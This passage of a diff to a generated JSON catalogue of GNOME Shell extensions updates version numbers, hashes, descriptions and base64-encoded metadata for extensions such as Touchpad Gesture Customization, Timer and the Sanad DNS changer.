AiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2dyaXp6bHlzbWl0L25vdGVzLXdpdGgtaGlzdG9yeSIsCiAgInV1aWQiOiAibm90ZXMtd2l0aC1oaXN0b3J5QGdyaXp6bHlzbWl0LnNtaXQuaWQuYXUiLAogICJ2ZXJzaW9uIjogNgp9"}
   }}
 , {"uuid": "commandtimer@alpaga", "name": "Command Timer", "pname": "command-timer", "description": "Execute a command after a timer", "link": "https://extensions.gnome.org/extension/7849/command-timer/", "shell_version_map": {
     "46": {"version": "2", "sha256": "0bhkvfqzspjp5j0lq30csfzy2fqpmc5cmddshrk4vxc9b7fw13vk", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkV4ZWN1dGUgYSBjb21tYW5kIGFmdGVyIGEgdGltZXIiLAogICJuYW1lIjogIkNvbW1hbmQgVGltZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ2IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vYXJ1bm8xNC9nbm9tZS1leHRlbnNpb24tY29tbWFuZF90aW1lciIsCiAgInV1aWQiOiAiY29tbWFuZHRpbWVyQGFscGFnYSIsCiAgInZlcnNpb24iOiAyCn0="}
   }}
 , {"uuid": "touchpad-gesture-customization@coooolapps.com", "name": "Touchpad Gesture Customization", "pname": "touchpad-gesture-customization", "description": "An extension which enable touchpad gestures customization in GNOME using Wayland. For full list of supported features please visit https://github.com/HieuTNg/touchpad-gesture-customization", "link": "https://extensions.gnome.org/extension/7850/touchpad-gesture-customization/", "shell_version_map": {
-    "45": {"version": "5", "sha256": "18mg67drxadg47mnpcs7b2dhqj4vlmjj14zbzv751436h9yf92pv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGV4dGVuc2lvbiB3aGljaCBlbmFibGUgdG91Y2hwYWQgZ2VzdHVyZXMgY3VzdG9taXphdGlvbiBpbiBHTk9NRSB1c2luZyBXYXlsYW5kLiBGb3IgZnVsbCBsaXN0IG9mIHN1cHBvcnRlZCBmZWF0dXJlcyBwbGVhc2UgdmlzaXQgaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAibmFtZSI6ICJUb3VjaHBhZCBHZXN0dXJlIEN1c3RvbWl6YXRpb24iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAidXVpZCI6ICJ0b3VjaHBhZC1nZXN0dXJlLWN1c3RvbWl6YXRpb25AY29vb29sYXBwcy5jb20iLAogICJ2ZXJzaW9uIjogNQp9"},
-    "46": {"version": "5", "sha256": "18mg67drxadg47mnpcs7b2dhqj4vlmjj14zbzv751436h9yf92pv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGV4dGVuc2lvbiB3aGljaCBlbmFibGUgdG91Y2hwYWQgZ2VzdHVyZXMgY3VzdG9taXphdGlvbiBpbiBHTk9NRSB1c2luZyBXYXlsYW5kLiBGb3IgZnVsbCBsaXN0IG9mIHN1cHBvcnRlZCBmZWF0dXJlcyBwbGVhc2UgdmlzaXQgaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAibmFtZSI6ICJUb3VjaHBhZCBHZXN0dXJlIEN1c3RvbWl6YXRpb24iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAidXVpZCI6ICJ0b3VjaHBhZC1nZXN0dXJlLWN1c3RvbWl6YXRpb25AY29vb29sYXBwcy5jb20iLAogICJ2ZXJzaW9uIjogNQp9"},
-    "47": {"version": "5", "sha256": "18mg67drxadg47mnpcs7b2dhqj4vlmjj14zbzv751436h9yf92pv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGV4dGVuc2lvbiB3aGljaCBlbmFibGUgdG91Y2hwYWQgZ2VzdHVyZXMgY3VzdG9taXphdGlvbiBpbiBHTk9NRSB1c2luZyBXYXlsYW5kLiBGb3IgZnVsbCBsaXN0IG9mIHN1cHBvcnRlZCBmZWF0dXJlcyBwbGVhc2UgdmlzaXQgaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAibmFtZSI6ICJUb3VjaHBhZCBHZXN0dXJlIEN1c3RvbWl6YXRpb24iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAidXVpZCI6ICJ0b3VjaHBhZC1nZXN0dXJlLWN1c3RvbWl6YXRpb25AY29vb29sYXBwcy5jb20iLAogICJ2ZXJzaW9uIjogNQp9"},
-    "48": {"version": "5", "sha256": "18mg67drxadg47mnpcs7b2dhqj4vlmjj14zbzv751436h9yf92pv", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGV4dGVuc2lvbiB3aGljaCBlbmFibGUgdG91Y2hwYWQgZ2VzdHVyZXMgY3VzdG9taXphdGlvbiBpbiBHTk9NRSB1c2luZyBXYXlsYW5kLiBGb3IgZnVsbCBsaXN0IG9mIHN1cHBvcnRlZCBmZWF0dXJlcyBwbGVhc2UgdmlzaXQgaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAibmFtZSI6ICJUb3VjaHBhZCBHZXN0dXJlIEN1c3RvbWl6YXRpb24iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAidXVpZCI6ICJ0b3VjaHBhZC1nZXN0dXJlLWN1c3RvbWl6YXRpb25AY29vb29sYXBwcy5jb20iLAogICJ2ZXJzaW9uIjogNQp9"}
+    "45": {"version": "6", "sha256": "1z4h5l3qv3zl0jy25j40n1ks7lxc40y4s2l439zm70i1xdz1gc4v", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGV4dGVuc2lvbiB3aGljaCBlbmFibGUgdG91Y2hwYWQgZ2VzdHVyZXMgY3VzdG9taXphdGlvbiBpbiBHTk9NRSB1c2luZyBXYXlsYW5kLiBGb3IgZnVsbCBsaXN0IG9mIHN1cHBvcnRlZCBmZWF0dXJlcyBwbGVhc2UgdmlzaXQgaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAibmFtZSI6ICJUb3VjaHBhZCBHZXN0dXJlIEN1c3RvbWl6YXRpb24iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAidXVpZCI6ICJ0b3VjaHBhZC1nZXN0dXJlLWN1c3RvbWl6YXRpb25AY29vb29sYXBwcy5jb20iLAogICJ2ZXJzaW9uIjogNgp9"},
+    "46": {"version": "6", "sha256": "1z4h5l3qv3zl0jy25j40n1ks7lxc40y4s2l439zm70i1xdz1gc4v", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGV4dGVuc2lvbiB3aGljaCBlbmFibGUgdG91Y2hwYWQgZ2VzdHVyZXMgY3VzdG9taXphdGlvbiBpbiBHTk9NRSB1c2luZyBXYXlsYW5kLiBGb3IgZnVsbCBsaXN0IG9mIHN1cHBvcnRlZCBmZWF0dXJlcyBwbGVhc2UgdmlzaXQgaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAibmFtZSI6ICJUb3VjaHBhZCBHZXN0dXJlIEN1c3RvbWl6YXRpb24iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAidXVpZCI6ICJ0b3VjaHBhZC1nZXN0dXJlLWN1c3RvbWl6YXRpb25AY29vb29sYXBwcy5jb20iLAogICJ2ZXJzaW9uIjogNgp9"},
+    "47": {"version": "6", "sha256": "1z4h5l3qv3zl0jy25j40n1ks7lxc40y4s2l439zm70i1xdz1gc4v", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGV4dGVuc2lvbiB3aGljaCBlbmFibGUgdG91Y2hwYWQgZ2VzdHVyZXMgY3VzdG9taXphdGlvbiBpbiBHTk9NRSB1c2luZyBXYXlsYW5kLiBGb3IgZnVsbCBsaXN0IG9mIHN1cHBvcnRlZCBmZWF0dXJlcyBwbGVhc2UgdmlzaXQgaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAibmFtZSI6ICJUb3VjaHBhZCBHZXN0dXJlIEN1c3RvbWl6YXRpb24iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAidXVpZCI6ICJ0b3VjaHBhZC1nZXN0dXJlLWN1c3RvbWl6YXRpb25AY29vb29sYXBwcy5jb20iLAogICJ2ZXJzaW9uIjogNgp9"},
+    "48": {"version": "6", "sha256": "1z4h5l3qv3zl0jy25j40n1ks7lxc40y4s2l439zm70i1xdz1gc4v", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFuIGV4dGVuc2lvbiB3aGljaCBlbmFibGUgdG91Y2hwYWQgZ2VzdHVyZXMgY3VzdG9taXphdGlvbiBpbiBHTk9NRSB1c2luZyBXYXlsYW5kLiBGb3IgZnVsbCBsaXN0IG9mIHN1cHBvcnRlZCBmZWF0dXJlcyBwbGVhc2UgdmlzaXQgaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAibmFtZSI6ICJUb3VjaHBhZCBHZXN0dXJlIEN1c3RvbWl6YXRpb24iLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NSIsCiAgICAiNDYiLAogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL0hpZXVUTmcvdG91Y2hwYWQtZ2VzdHVyZS1jdXN0b21pemF0aW9uIiwKICAidXVpZCI6ICJ0b3VjaHBhZC1nZXN0dXJlLWN1c3RvbWl6YXRpb25AY29vb29sYXBwcy5jb20iLAogICJ2ZXJzaW9uIjogNgp9"}
   }}
 , {"uuid": "exchange-electricity-price-indicator@artnay.codeberg.org", "name": "Exchange Electricity Price Indicator", "pname": "exchange-electricity-price-indicator", "description": "Display the current and upcoming Nord Pool electricity (\"pörssisähkö\") prices in Finland, on an hourly basis, directly in your Gnome Shell top bar.", "link": "https://extensions.gnome.org/extension/7851/exchange-electricity-price-indicator/", "shell_version_map": {
     "45": {"version": "4", "sha256": "0wa6zw5rvxgqbg30imh2q96g6hy6n5faf31bbn77j1b9a8wlah8n", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgdGhlIGN1cnJlbnQgYW5kIHVwY29taW5nIE5vcmQgUG9vbCBlbGVjdHJpY2l0eSBwcmljZXMgaW4gRmlubGFuZCwgb24gYW4gaG91cmx5IGJhc2lzLCBkaXJlY3RseSBpbiB5b3VyIEdub21lIFNoZWxsIHRvcCBiYXIuIiwKICAiZ2V0dGV4dC1kb21haW4iOiAiZXhjaGFuZ2UtZWxlY3RyaWNpdHktcHJpY2UtaW5kaWNhdG9yQGFydG5heS5jb2RlYmVyZy5vcmciLAogICJuYW1lIjogIkV4Y2hhbmdlIEVsZWN0cmljaXR5IFByaWNlIEluZGljYXRvciIsCiAgIm9yaWdpbmFsLWF1dGhvciI6ICJKaXJpIEdyXHUwMGY2bnJvb3MgPGppcmkuZ3JvbnJvb3NAaWtpLmZpPiIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIsCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vY29kZWJlcmcub3JnL2FydG5heS9leGNoYW5nZS1lbGVjdHJpY2l0eS1wcmljZS1pbmRpY2F0b3IiLAogICJ1dWlkIjogImV4Y2hhbmdlLWVsZWN0cmljaXR5LXByaWNlLWluZGljYXRvckBhcnRuYXkuY29kZWJlcmcub3JnIiwKICAidmVyc2lvbiI6IDQKfQ=="},
@@ -9019,15 +9046,16 @@
     "47": {"version": "4", "sha256": "0s6mkwpr5vq2l3dr900hm78rlrr2cny4d02w41rnmzz8bf365k35", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIHRvIGRyYXcgdGhlIG1vdXNlIHRhaWwgb24gdGhlIHNjcmVlbiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJrb2ZpIjogImxhbmVzdW40NTE4MiIKICB9LAogICJuYW1lIjogIk1vdXNlIFRhaWwiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vTGFuZVN1bi9tb3VzZS10YWlsIiwKICAidXVpZCI6ICJtb3VzZS10YWlsQGxhbmVzdW4uYW5sYnJhaW4uY29tIiwKICAidmVyc2lvbiI6IDQKfQ=="},
     "48": {"version": "5", "sha256": "0jdjfi3zks0vbj2392rlrjw15dfa66dapsm59nfrm88jg0pdzivj", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR25vbWUgZXh0ZW5zaW9uIHRvIGRyYXcgdGhlIG1vdXNlIHRhaWwgb24gdGhlIHNjcmVlbiIsCiAgImRvbmF0aW9ucyI6IHsKICAgICJrb2ZpIjogImxhbmVzdW40NTE4MiIKICB9LAogICJuYW1lIjogIk1vdXNlIFRhaWwiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vTGFuZVN1bi9tb3VzZS10YWlsIiwKICAidXVpZCI6ICJtb3VzZS10YWlsQGxhbmVzdW4uYW5sYnJhaW4uY29tIiwKICAidmVyc2lvbiI6IDUKfQ=="}
   }}
-, {"uuid": "timer@lbgracioso.net", "name": "Timer", "pname": "timer", "description": "A simple GNOME extension that provides a panel timer with an alarm sound notification.\n\nSingle time units: Use simple time formats like 1h, 1m, or 1s.\nMultiple time units: Combine units, such as 1h 30m, 1m 25s, or 1h 20m 30s.\nRepetitions: Use repX (e.g., rep3 for 3 repetitions).\nRest time: Use restX with time units (h, m, s) like rest1h, rest1m, rest30s.\nCombining Units: You can combine the following units to create a custom timer. For example:\n2s rep3 rest1m = 2 seconds of work time, 3 repetitions, and 1 minute of rest between repetitions.\n1m rep5 rest30s = 1 minute of work time, 5 repetitions, and 30 seconds of rest after each rep.", "link": "https://extensions.gnome.org/extension/7858/timer/", "shell_version_map": {
-    "47": {"version": "6", "sha256": "0nz2vhw7xhag9knsly161mnnx8939fnsh5ia72qa4h84fn5rz0d2", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIEdOT01FIGV4dGVuc2lvbiB0aGF0IHByb3ZpZGVzIGEgcGFuZWwgdGltZXIgd2l0aCBhbiBhbGFybSBzb3VuZCBub3RpZmljYXRpb24uIiwKICAibmFtZSI6ICJUaW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHA6Ly9naXRodWIuY29tL2xiZ3JhY2lvc28vZ25vbWUtdGltZXIiLAogICJ1dWlkIjogInRpbWVyQGxiZ3JhY2lvc28ubmV0IiwKICAidmVyc2lvbiI6IDYKfQ=="}
+, {"uuid": "timer@lbgracioso.net", "name": "Timer", "pname": "timer", "description": "A simple GNOME extension that provides a panel timer with an alarm sound notification.", "link": "https://extensions.gnome.org/extension/7858/timer/", "shell_version_map": {
+    "47": {"version": "7", "sha256": "0ll8kxwq0n932isjc5xgfvnlbldiadylq27rfm0ih882hm1i6zcn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIEdOT01FIGV4dGVuc2lvbiB0aGF0IHByb3ZpZGVzIGEgcGFuZWwgdGltZXIgd2l0aCBhbiBhbGFybSBzb3VuZCBub3RpZmljYXRpb24uIiwKICAibmFtZSI6ICJUaW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwOi8vZ2l0aHViLmNvbS9sYmdyYWNpb3NvL2dub21lLXRpbWVyIiwKICAidXVpZCI6ICJ0aW1lckBsYmdyYWNpb3NvLm5ldCIsCiAgInZlcnNpb24iOiA3Cn0="},
+    "48": {"version": "7", "sha256": "0ll8kxwq0n932isjc5xgfvnlbldiadylq27rfm0ih882hm1i6zcn", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgc2ltcGxlIEdOT01FIGV4dGVuc2lvbiB0aGF0IHByb3ZpZGVzIGEgcGFuZWwgdGltZXIgd2l0aCBhbiBhbGFybSBzb3VuZCBub3RpZmljYXRpb24uIiwKICAibmFtZSI6ICJUaW1lciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwOi8vZ2l0aHViLmNvbS9sYmdyYWNpb3NvL2dub21lLXRpbWVyIiwKICAidXVpZCI6ICJ0aW1lckBsYmdyYWNpb3NvLm5ldCIsCiAgInZlcnNpb24iOiA3Cn0="}
   }}
 , {"uuid": "wctx@slightlyfaulty.github.io", "name": "Window Context (wctx)", "pname": "window-context-wctx", "description": "Helper extension for wctx to receive window information from GNOME.", "link": "https://extensions.gnome.org/extension/7860/window-context-wctx/", "shell_version_map": {
     "45": {"version": "4", "sha256": "156maw7c4k145ly8rzad650kfb8rppd30bs2kzqzrkmvvggpdvag", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhlbHBlciBleHRlbnNpb24gZm9yIHdjdHggdG8gcmVjZWl2ZSB3aW5kb3cgaW5mb3JtYXRpb24gZnJvbSBHTk9NRS4iLAogICJuYW1lIjogIldpbmRvdyBDb250ZXh0ICh3Y3R4KSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NsaWdodGx5ZmF1bHR5L3djdHgiLAogICJ1dWlkIjogIndjdHhAc2xpZ2h0bHlmYXVsdHkuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDQsCiAgInZlcnNpb24tbmFtZSI6ICIxLjAuMiIKfQ=="},
     "46": {"version": "4", "sha256": "156maw7c4k145ly8rzad650kfb8rppd30bs2kzqzrkmvvggpdvag", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhlbHBlciBleHRlbnNpb24gZm9yIHdjdHggdG8gcmVjZWl2ZSB3aW5kb3cgaW5mb3JtYXRpb24gZnJvbSBHTk9NRS4iLAogICJuYW1lIjogIldpbmRvdyBDb250ZXh0ICh3Y3R4KSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NsaWdodGx5ZmF1bHR5L3djdHgiLAogICJ1dWlkIjogIndjdHhAc2xpZ2h0bHlmYXVsdHkuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDQsCiAgInZlcnNpb24tbmFtZSI6ICIxLjAuMiIKfQ=="},
     "47": {"version": "4", "sha256": "156maw7c4k145ly8rzad650kfb8rppd30bs2kzqzrkmvvggpdvag", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkhlbHBlciBleHRlbnNpb24gZm9yIHdjdHggdG8gcmVjZWl2ZSB3aW5kb3cgaW5mb3JtYXRpb24gZnJvbSBHTk9NRS4iLAogICJuYW1lIjogIldpbmRvdyBDb250ZXh0ICh3Y3R4KSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0NyIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL3NsaWdodGx5ZmF1bHR5L3djdHgiLAogICJ1dWlkIjogIndjdHhAc2xpZ2h0bHlmYXVsdHkuZ2l0aHViLmlvIiwKICAidmVyc2lvbiI6IDQsCiAgInZlcnNpb24tbmFtZSI6ICIxLjAuMiIKfQ=="}
   }}
-, {"uuid": "sanad@apps.mirsobhan.ir", "name": "sanad", "pname": "sanad", "description": "a dns changer tool for gnome extention", "link": "https://extensions.gnome.org/extension/7861/sanad/", "shell_version_map": {
+, {"uuid": "sanad@apps.mirsobhan.ir", "name": "sanad | dns changer", "pname": "sanad", "description": "a dns changer tool for gnome extention\n\nSanad is a GNOME Shell extension that enables users to swiftly switch between DNS providers directly from the GNOME panel. It supports both predefined and user-defined DNS configurations, allowing for customization through a CSV file. Designed for simplicity and flexibility, Sanad integrates seamlessly into the GNOME desktop environment, providing a user-friendly interface for managing DNS settings.", "link": "https://extensions.gnome.org/extension/7861/sanad/", "shell_version_map": {
     "47": {"version": "6", "sha256": "1q8p09hn30kz0wxbw8098w0qf504klkq965rq4y4ay0r5d5wqykd", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogImEgZG5zIGNoYW5nZXIgdG9vbCBmb3IgZ25vbWUgZXh0ZW50aW9uICIsCiAgIm5hbWUiOiAic2FuYWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01pclMwYmhhbi9zYW5hZCIsCiAgInV1aWQiOiAic2FuYWRAYXBwcy5taXJzb2JoYW4uaXIiLAogICJ2ZXJzaW9uIjogNiwKICAidmVyc2lvbi1uYW1lIjogIjIuMyIKfQ=="},
     "48": {"version": "6", "sha256": "1q8p09hn30kz0wxbw8098w0qf504klkq965rq4y4ay0r5d5wqykd", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogImEgZG5zIGNoYW5nZXIgdG9vbCBmb3IgZ25vbWUgZXh0ZW50aW9uICIsCiAgIm5hbWUiOiAic2FuYWQiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ3IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL01pclMwYmhhbi9zYW5hZCIsCiAgInV1aWQiOiAic2FuYWRAYXBwcy5taXJzb2JoYW4uaXIiLAogICJ2ZXJzaW9uIjogNiwKICAidmVyc2lvbi1uYW1lIjogIjIuMyIKfQ=="}
   }}
@@ -9038,14 +9066,14 @@
